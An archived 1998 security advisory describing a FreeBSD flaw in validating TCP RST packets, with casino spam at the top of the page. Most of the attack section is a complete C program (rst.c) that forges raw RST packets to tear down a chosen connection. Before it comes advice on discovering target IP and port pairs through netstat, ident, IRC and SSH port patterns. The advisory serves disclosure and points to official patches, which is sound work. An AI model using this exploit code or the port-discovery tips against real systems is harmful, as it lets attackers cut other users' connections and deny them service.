Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
14th Oct 1998 [SBWID-195]
COMMAND
	    RST validation
SYSTEMS AFFECTED
	    FreeBSD 2.2.x (before 2.2.8R), FreeBSD-stable and  FreeBSD-current
	    before the correction date.
PROBLEM
	    TCP/IP connections are controlled through a series of packets that
	    are receieved  by the  two computers  involved in  the connection.
	    Old,  stale  connections  are  reset  with  a  packet called a RST
	    packet.  The RST packets have a sequence number in them that  must
	    be valid according  to certain rules  in the standards.   A denail
	    of service attack can be launched against FreeBSD systems  running
	    without one of the patches supplied later in this message.   Using
	    a flaw in the interpreation of sequence numbers in the RST packet,
	    malicious users can terminate connections of other users at will.
	    This was found by Tristan Horn.  RFC 793, pages 36-39 (chap.  3.5)
	    describes closing connections with TCP.  Page 37 is of  particular
	    interest:
	
	        Reset Processing
	        In all states  except SYN-SENT, all  reset (RST) segments  are
	        validated by checking their SEQ-fields.   A reset is valid  if
	        its sequence number is in  the window.  In the  SYN-SENT state
	        (a RST  received in  response to  an initial  SYN), the RST is
	        acceptable if the ACK field acknowledges the SYN.
	
	    Unfortunately, FreeBSD  does not  appear to  validate RST segments
	    to this extent.  In  other words, only the packets'  IP/port pairs
	    are  checked.   In  limited  testing  Solaris,  OSF/1,  Linux  and
	    Windows 98  appear to  conform to  RFC 793  in this  regard.  This
	    problem gets worse when you  bring it to multi-user FreeBSD  boxes
	    where netstat,  systat -net,  lsof (if  improperly configured) and
	    the like can be  used to get all  IP/port pairs in use.   In cases
	    where  you  only  have  the  port  number  for  one  side  of  the
	    connection, exploiting the vulnerability is still fairly  trivial.
	    In many (most?) cases, port 0  bind()s will start you off at  port
	    1024 and  increment by  one from  there.   Kudos to  the OSes that
	    already use random or pseudorandom source ports...  If the  target
	    is an IRC server  or uses TCP wrappers,  chances are that you  can
	    telnet to it and you'll get a connection back to your ident  port.
	    This will give you the high port.  IRC in particular will probably
	    be  affected,  due  to  the  ease  of  getting addresses and such.
	    /stats L even used to give you the port numbers for users, servers
	    and listening sockets, but I  believe this was fixed in  /hybrid a
	    while back, and then  +CS.  /stats c  should just be disabled  for
	    non-opers since it lets people find the port # for autoconnects.
	    SSH and similar secure sessions are in great danger because  ports
	    are  manually  bound  to,  starting  at 1023 and decrementing from
	    there.
	    BSD exploit code is below.   Note that 'dstaddr' is where the  RST
	    packet is  actually sent,  so it  must be  the address  of a buggy
	    machine.
	
	    /* rst.c -- based on:
	         land.c by m3lt, FLC
	         crashes a win95 box
	         Ported by blast and jerm to 44BSD*/
	    #include <signal.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <netdb.h>
	    #include <sys/socket.h>
	    #include <sys/types.h>
	    #include <netinet/in.h>
	    #include <netinet/in_systm.h>
	    #include <netinet/ip.h>
	    #include <netinet/tcp.h>
	    #include <netinet/ip_icmp.h>
	    #include <ctype.h>
	    #include <arpa/inet.h>
	    #include <unistd.h>
	    #include <string.h>
	    #include <errno.h>
	    /* #include <netinet/ip_tcp.h> */
	    /* #include <netinet/protocols.h> */
	    struct pseudohdr
	    {
	            struct in_addr saddr;
	            struct in_addr daddr;
	            u_char zero;
	            u_char protocol;
	            u_short length;
	            struct tcphdr tcpheader;
	    };
	    u_short checksum(u_short * data,u_short length)
	    {
	            register long value;
	            u_short i;
	            for(i=0;i<(length>>1);i++)
	                    value+=data[i];
	            if((length&1)==1)
	                    value+=(data[i]<<8);
	            value=(value&65535)+(value>>16);
	            return(~value);
	    }
	    int main(int argc,char * * argv)
	    {
	            struct sockaddr_in src, dst;
	            struct hostent * hoste;
	            int sock,foo;
	            char buffer[40];
	            struct ip * ipheader=(struct ip *) buffer;
	            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
	            struct pseudohdr pseudoheader;
	            fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");
	            if(argc<5)
	            {
	                    fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
	                    return(-1);
	            }
	            bzero(&src,sizeof(struct sockaddr_in));
	            bzero(&dst,sizeof(struct sockaddr_in));
	            src.sin_family=AF_INET;
	            dst.sin_family=AF_INET;
	            if((hoste=gethostbyname(argv[1]))!=NULL)
	                    bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
	            else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
	            {
	                    fprintf(stderr,"unknown host %s\n",argv[1]);
	                    return(-1);
	            }
	            if((src.sin_port=htons(atoi(argv[2])))==0)
	            {
	                    fprintf(stderr,"unknown port %s\n",argv[2]);
	                    return(-1);
	            }
	            if((hoste=gethostbyname(argv[3]))!=NULL)
	                    bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
	            else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
	            {
	                    fprintf(stderr,"unknown host %s\n",argv[3]);
	                    return(-1);
	            }
	            if((dst.sin_port=htons(atoi(argv[4])))==0)
	            {
	                    fprintf(stderr,"unknown port %s\n",argv[4]);
	                    return(-1);
	            }
	            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
	            {
	                    fprintf(stderr,"couldn't allocate raw socket\n");
	                    return(-1);
	            }
	            foo=1;
	            if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
	            {
	                    fprintf(stderr,"couldn't set raw header on socket\n");
	                    return(-1);
	            }
	            bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
	            ipheader->ip_v=4;
	            ipheader->ip_hl=sizeof(struct ip)/4;
	            ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
	            ipheader->ip_id=htons(0xF1C);
	            ipheader->ip_ttl=255;
	            ipheader->ip_p=IPPROTO_TCP;
	            ipheader->ip_src=src.sin_addr;
	            ipheader->ip_dst=dst.sin_addr;
	            tcpheader->th_sport=src.sin_port;
	            tcpheader->th_dport=dst.sin_port;
	            tcpheader->th_seq=htonl(0xF1C);
	            tcpheader->th_flags=TH_RST;
	            tcpheader->th_off=sizeof(struct tcphdr)/4;
	            tcpheader->th_win=htons(2048);
	            bzero(&pseudoheader,12+sizeof(struct tcphdr));
	            pseudoheader.saddr=src.sin_addr;
	            pseudoheader.daddr=dst.sin_addr;
	            pseudoheader.protocol=6;
	            pseudoheader.length=htons(sizeof(struct tcphdr));
	            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
	            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
	            if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1)
	            {
	                    fprintf(stderr,"couldn't send packet,%d\n",errno);
	                    return(-1);
	            }
	            fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);
	            close(sock);
	            return(0);
	    }
	
SOLUTION
	    This  was  corrected  in  FreeBSD-current  as  of  1998/09/11  and
	    FreeBSD-stable as of 1998/09/16.  Patches can be obtained via:
	
	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:07/
	
	

Internet highlights